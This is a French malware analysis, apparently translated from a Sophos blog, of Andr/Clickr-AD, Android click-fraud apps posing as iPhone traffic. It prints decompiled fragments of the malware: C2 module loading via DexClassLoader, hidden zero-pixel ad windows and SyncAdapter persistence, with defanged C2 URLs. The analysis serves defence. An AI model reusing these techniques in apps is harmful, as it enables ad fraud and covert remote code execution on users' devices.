Des applications clickfraud Android sophistiquées se présentent comme des applications et des appareils iPhone

Mis à part l’aspect purement “préférence” pour une plateforme mobile plutôt que pour une autre, il existe une différence nette entre les univers mobiles Android et iOS : en effet, les annonceurs paieront une forte somme d’argent pour atteindre les propriétaires, supposés fortunés, de téléphones et de tablettes Apple. Alors que la fraude au clic devient une source de revenus pour les développeurs d’applications mobiles peu scrupuleux, il s’avère avantageux de mentir sur le type précis d’appareil mobile qui clique frauduleusement sur ces annonces.

Ainsi, les SophosLabs sont tombés sur un stock de 22 applications mobiles qui, jusqu’au mois dernier, étaient hébergées sur Google Play Market et avaient été téléchargées collectivement plus de 2 millions de fois. Mais notre plus grande surprise n’a pas été que la fraude au clic soit passée inaperçue, dans certains cas pendant des mois ou des années, mais plutôt que ces applications clickfraud Android se soient faites passer pour des appareils Apple auprès des annonceurs, éventuellement dans le but de rentabiliser leurs activités cybercriminelles.

Trois des applications dataient d’au moins un an et l’une d’entre elles (une application de lampe de poche) avait été téléchargée au moins un million de fois, mais la majorité de ces applications malveillantes avaient été créées au cours ou après le mois de juin 2018. Les trois plus anciennes n’étaient pas intrinsèquement malveillantes au départ, mais il semble qu’elles aient été Trojanisées avec un code de type clickfraud, ajouté dans les applications à peu près au même moment, à savoir au courant du mois de juin.

Google a agi et supprimé les applications du Play Market pendant la semaine du 25 novembre. Les applications ne peuvent plus être téléchargées à partir du store Google officiel, mais l’infrastructure C2 reste active. Les applications de cette série (répertoriées à la fin de cet article) qui sont encore installées sur les appareils peuvent toujours générer un flux de revenus constant pour les créateurs de ces applications en continuant de frauder les réseaux publicitaires.

La tromperie est un élément clé

Par rapport aux malwares connus de type ad-clicker, les nouvelles fonctionnalités de ces applications ont intégré des améliorations significatives : elles étaient plus efficaces au niveau de leur persistance, plus souples et plus trompeuses que les générations précédentes.

Fonctionnant sous l’apparence de jeux et d’utilitaires, les applications disposent également de fonctionnalités de téléchargement, si le serveur de command-and-control leur demande de récupérer d’autres fichiers.

L’application Sparkle Flashlight, dont l’icône et l’écran de l’application sont présentés ci-dessus, a été téléchargée plus d’un million de fois sur Google Play Market avant d’être retirée le mois dernier.

Les instructions envoyées par le serveur command-and-control  ordonnent au malware d’envoyer des demandes d’annonce prétendant provenir d’une variété d’applications (qui n’ont d’ailleurs aucun lien avec ces applications) et s’exécutant sur un large éventail de modèles de téléphones mobiles. Nous avons observé que les outils clickfraud signalaient aux régies publicitaires qu’elles utilisaient des modèles spécifiques de téléphones Android et iOS, apparemment au hasard.

L’affichage de ces annonces ne se faisait pas en mode plein écran comme observé généralement, technique plutôt perturbatrice et ennuyeuse pour l’utilisateur de l’appareil, car cela aurait attiré trop l’attention sur l’application. Au lieu de cela, l’affichage de ces publicités malveillantes se faisait via une fenêtre de navigateur masquée, à l’intérieur de laquelle l’application simulait une interaction de l’utilisateur avec la publicité en question.

Les seuls effets qu’un utilisateur pouvait remarquer étaient que les applications utilisaient une quantité de données considérablement plus importante et puisaient beaucoup plus dans la batterie du téléphone que lors d’une utilisation normale. Étant donné que les consommateurs n’étaient pas en mesure de corréler ces effets avec les applications elles-mêmes, leurs commentaires sur Play Market, concernant ces applications, ne comportaient que peu de retours négatifs.

Ce degré de flexibilité semble être conçu sur mesure pour manipuler et frauder les annonceurs en dissimulant la véritable origine des applications responsables de la fraude. Mais la fraude publicitaire n’est pas le seul danger que représentent ces applications. Au-delà de leur nature intrinsèquement malveillante, ces applications peuvent également servir de downloaders, capables de récupérer du code arbitraire à partir de leurs serveurs C2.

Le code clickfraud, affiché ici dans une fenêtre du débogueur Android, indique aux annonceurs que l’application s’exécutant sur un Appareil Virtuel Android est en réalité une application différente s’exécutant sur un iPhone.

La séquence User-Agent indique au réseau publicitaire que le téléphone virtuel Android est en réalité un iPhone sous iOS 12.

Les annonces sont récupérées et “cliquées”, que l’application soit actuellement utilisée par le propriétaire du téléphone ou non. En raison de ces facteurs, nous avons décidé de classer ces fichiers comme malveillants, par opposition à “potentiellement indésirables”. Nous les détectons sous le nom : Andr/Clickr-AD.

Comment fonctionnent les applications clickfraud

Les applications que nous détectons sous le nom Andr/Clickr-AD ont été conçues pour offrir une flexibilité et une extensibilité maximales. Tout est configurable par le serveur C2 des applications. Voyons comment fonctionne le malware.

Lorsque l’utilisateur lance l’application pour la première fois, il envoie une demande HTTP GET au serveur c2.

http[://]sdk.mobbt.com/auth/sdk/login

Le serveur renvoie une liste de commandes au format JSON qu’il appelle un “sdk”. Chaque commande inclut l’URL permettant de télécharger un module “sdk”, un nom de classe et de méthode à appeler et les paramètres que le module doit transmettre à chaque méthode.

Voici à quoi ressemble une réponse typique du serveur C2 :

Dans cette réponse, le serveur demande au client de télécharger et d’exécuter les modules “rtb” ou “mpb”.

Pour chaque module, le C2 spécifie le champ “libpath” pour l’URL à télécharger, ainsi que le nom de la Classe, le nom de la méthode et les paramètres du champ “sdk_data”. Le C2 demande également à l’application de reprendre contact en respectant un intervalle de temps spécifié dans le champ “exp” pour les instructions mises à jour.

Dans l’exemple ci-dessus, l’application attendra 10 minutes (600 secondes) avant de contacter le serveur pour obtenir à nouveau son sdk.

    JSONArray v11_2 = v11_1.optJSONArray("sdk_data");
    while(v2 < v11_2.length()) {
        SDKData v1_1 = new SDKData();
        JSONObject v3_1 = v11_2.optJSONObject(v2);
        Object v4 = v3_1.keys().next();
        JSONObject v5 = new JSONObject(v3_1.optString(((String)v4)));
        String v3_2 = v5.optString("lp");
        JSONObject v6 = v5.optJSONObject("start");
        String v7 = v6.optString("method");
        String v8 = v6.optString("class");
        String v6_1 = v6.optString("parameters");
        v1_1.setStartPair(Pair.create(v8, v7));
        v5 = v5.optJSONObject("stop");
        v1_1.setStopPair(Pair.create(v5.optString("class"), v5.optString("method")));
        v1_1.setName(((String)v4));
        v1_1.setLibpath(v3_2);
        v1_1.setParameters(v6_1);
        ((List)v0_3).add(v1_1);
        ++v2;
    }

    this.updateSDKData(((List)v0_3));

Le serveur peut mettre à jour et modifier les modules sdk, ou ajouter de nouveaux modules. Quelle que soit la fonction contenue dans le module sdk, le côté client utilise le même code pour le télécharger et l’exécuter.

    private void invokeClass(Pair arg4) throws ReflectionException {
        try {
            this.invokeMethod(this.ctx, this.parameters, this.dexClassLoader.loadClass(arg4.first), arg4.second);
            return;
        }
        catch(ClassNotFoundException v4) {
            ThrowableExtension.printStackTrace(((Throwable)v4));
            throw new ReflectionException("Classes Not Found");
        }
    }

Le module nommé “mpb” clique sur l’annonce et reçoit des instructions distinctes du serveur C2. Pour obtenir sa propre configuration, il envoie une requête HTTP GET à :

http[://]act.mobbt.com/actions/mb/view

Cette URL est spécifiée dans le champ “fetch” de la rubrique “parameters“, indiqué dans la capture d’écran C2 ci-dessus.

Le serveur répond avec une autre structure JSON contenant les paramètres qu’il utilisera pour télécharger la publicité. Dans l’exemple présenté ci-dessous, l’application Android doit utiliser non seulement le nom d’une application iOS, mais également des informations de modèle de téléphone factices (sous la forme d’une séquence ‘User-Agent’ manifestement fausse).

Ensuite, le malware élabore une requête HTTP en utilisant le faux nom d’application, le modèle de périphérique et la séquence User-Agent reçus du serveur C2, puis envoie la requête à :

http[://]ads.mobbt.com/m/ad

De cette manière, le malware peut envoyer des demandes d’annonce en utilisant le nom de toutes les applications et de tous les appareils souhaités par le serveur.

Dans l’image ci-dessus, l’application a reçu la réponse suivante du serveur C2 :

"ua":"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Mobile/15D100"
"model": "iPhone",
"make": "Apple",
"pkg":"com.takatrip.ios",
"app_name":"Takatrip"

Cette capture de trafic réseau montre un jeu de ping-pong qui dupe la régie publicitaire de Twitter en se faisant passer pour une annonce affichée dans une autre application fonctionnant sur un Samsung Galaxy S7, alors même qu’elle s’exécute sur un Appareil Virtuel Android.

Ensuite, l’application prépare les nouvelles données à envoyer à :

http[://]ads.mobbt.com/m/ad

Le module sdk “mpb” crée une fenêtre de zéro pixel de haut et de large afin de masquer la publicité téléchargée.

Il récupère le lien en cliquant sur la réponse et effectue son clic sur l’annonce en utilisant ce code :

    v0.width = 0;
    v0.height = 0;
    this.containerView = new LinearLayout(this.ctx);
    this.containerView.setLayoutParams(new RelativeLayout$LayoutParams(-1, -1));
    this.containerView.setBackgroundColor(0);
    this.containerView.addView(arg8);
    if(this.windowManager == null) {
        this.windowManager = this.ctx.getSystemService("window");
    }

    if(this.windowManager == null) {
        return;
    }

    this.windowManager.addView(this.containerView, ((ViewGroup$LayoutParams)v0));

Le trafic réseau capturé montre que l’application a signalé un “clic” sur une annonce pour un casino en ligne.  

Lors de nos tests, nous avons observé à la fois les applications Android et iOS et les séquences User-Agent dans le champ “pkg”.”

Jusqu’à présent, toutes ces applications semblent provenir d’un petit nombre de développeurs.

Il se peut que tous ces développeurs augmentent actuellement leurs revenus publicitaires. Mais cette architecture peut potentiellement être utilisée en tant que service pour générer des revenus publicitaires pour d’autres applications.

Nous avons également trouvé des applications créées par les mêmes développeurs disponibles sur l’iTunes Store. Pour le moment, les applications iOS publiées par ces développeurs, contrairement à leurs homologues sous Android, sont dépourvues de la fonctionnalité de clic publicitaire.

Les versions iOS ne semblent pas partager la fonctionnalité clickfraud trouvée dans leurs homologues sous Android.

En falsifiant les champs User-Agent et Device dans la requête HTTP, le trafic réseau généré ressemble à du trafic authentique provenant de véritables périphériques. Ils auront l’air d’être envoyés par de vrais utilisateurs avec une diversité raisonnable de types de périphériques. Le but est de réduire les risques d’éveiller les soupçons au niveau du réseau publicitaire ou d’être repéré par des détecteurs de trafic frauduleux.

Les fichiers log capturés à partir d’un appareil exécutant l’une des applications affichent le comportement de l’affichage d’annonce masqué.

Jusqu’à présent, nous avons observé que le serveur envoyait des données falsifiées indiquant que les charges publicitaires frauduleuses provenaient de modèles Apple allant de l’iPhone 5 au 8 Plus, ainsi que de 249 modèles Android falsifiés provenant de 33 marques différentes, qui exécutaient prétendument des versions du système d’exploitation Android de 4.4.2 à 7.x. Cette variété couvre la plupart des appareils mobiles actuellement populaires sur le marché.

Le fraude a clic reste persistante, même lorsque l’utilisateur force l’application à se fermer

Tâche planifiée

Le malware se planifie lui-même pour s’exécuter périodiquement à des intervalles spécifiés par le serveur C2. Dans nos tests, il fonctionne à une fréquence assez élevée : il recherche un nouveau sdk toutes les 10 minutes et obtient les données de configuration des annonces toutes les 80 secondes.

Se déclenche au démarrage

L’application utilise l’événement de broadcast BOOT_COMPLETED pour se lancer une fois le téléphone redémarré.

SyncAdapter

Les créateurs d’Andr/Clickr-ad ont fait des efforts supplémentaires pour rendre l’application persistante. Même lorsque l’utilisateur force l’application à s’arrêter à partir des paramètres système, elle reprendra après 3 minutes.

Cette astuce est mise en place en créant un adaptateur de synchronisation, puis en le configurant pour une exécution périodique.

Dans le fichier AndroidManifest.xml, il déclare un adaptateur de synchronisation et un service associé :

    <service android:exported="true" android:name="com.octopus.managersdk.sync_adapter.SyncService">
      <intent-filter>
        <action android:name="android.content.SyncAdapter" />
      </intent-filter>
      <meta-data android:name="android.content.SyncAdapter" android:resource="@xml/manager_syncadapter" />
    </service>

Il configure l’adaptateur de synchronisation pour qu’il s’exécute à intervalles réguliers.

  long v4 = SyncUtils.prefs.getSyncPeriodicFrequency();
    Log.d("SyncUtils", "init frequency: " + String.valueOf(v4));
    v2_1.putBoolean("syncIdentifier:" + SyncUtils.mAccountName, true);
    ContentResolver.addPeriodicSync(v1_2, SyncUtils.mContentAuthority, v2_1, v4);

L’intervalle pour reprendre l’application est reçu du serveur. Au moment de l’analyse, l’intervalle défini était de 3 minutes.

    if(v11_1.has("sync")) {
        v0_1 = v11_1.optLong("sync");
        if(this.preferences.getSyncPeriodicFrequency() != v0_1) {
            this.preferences.setSyncPeriodFrequency(v0_1);
            Utils.updateSyncFrequency(this.context, v0_1);
        }
    }

Le paramètre “sync : 180” indique à l’application de se lancer toutes les trois minutes, si elle n’est pas déjà lancée.  

L’évolution d’Andr/Clickr-ad

Parmi les 22 applications, 19 ont été créées après juin 2018. La plupart d’entre elles contiennent cette fonction de téléchargement “sdk”, et ce depuis la première version.

Les trois anciennes applications, com.sparkle.flashlight, app.mobile.justflashlight et com.takatrip.android, ont été créées en 2016 et 2017. Les versions antérieures n’étaient pas malveillantes.

La version la plus ancienne avec la fonction de téléchargement sdk a été retrouvée datant de mars 2018.

Cela indique le moment où les auteurs, derrière ces applications, ont peut-être décidé de passer du côté obscur. Nous ne pouvons pas dire quelle a été la réponse du serveur à ce moment-là. Cependant, en analysant le code du downloader de la version du mois de mars, il semble que seul le module sdk “rtb” ait été utilisé.

En juin 2018, le code a beaucoup évolué en se rapprochant davantage de la version actuelle. Un fichier vide nommé mpb.jar a commencé à être inclus dans le dossier des actifs.

Il est probable que le module “mpb” sdk ait été mis en service à partir de cette époque. C’est aussi à cette période que d’autres membres de la famille Andr/Clickr-AD ont commencé à apparaître dans Google Play.

Conclusion

Andr/Clickr-ad est un malware persistant, bien structuré, susceptible de causer de graves dommages aux utilisateurs finaux, ainsi qu’à l’ensemble de l’écosystème Android. Ces applications génèrent des requêtes frauduleuses qui ont un impact financier important au niveau des réseaux publicitaires en raison des faux clics.

Du point de vue de l’utilisateur, ces applications déchargent la batterie de leur téléphone et peuvent provoquer des surcharges de données, car elles fonctionnent et communiquent en permanence avec des serveurs en arrière-plan. En outre, les périphériques sont entièrement contrôlés par le serveur C2 et peuvent éventuellement installer des modules malveillants sur instruction du serveur.

IOC (indicateur de compromission)

Billet inspiré de Sophisticated Android clickfraud apps pose as iPhone apps and devices, du Blog Sophos.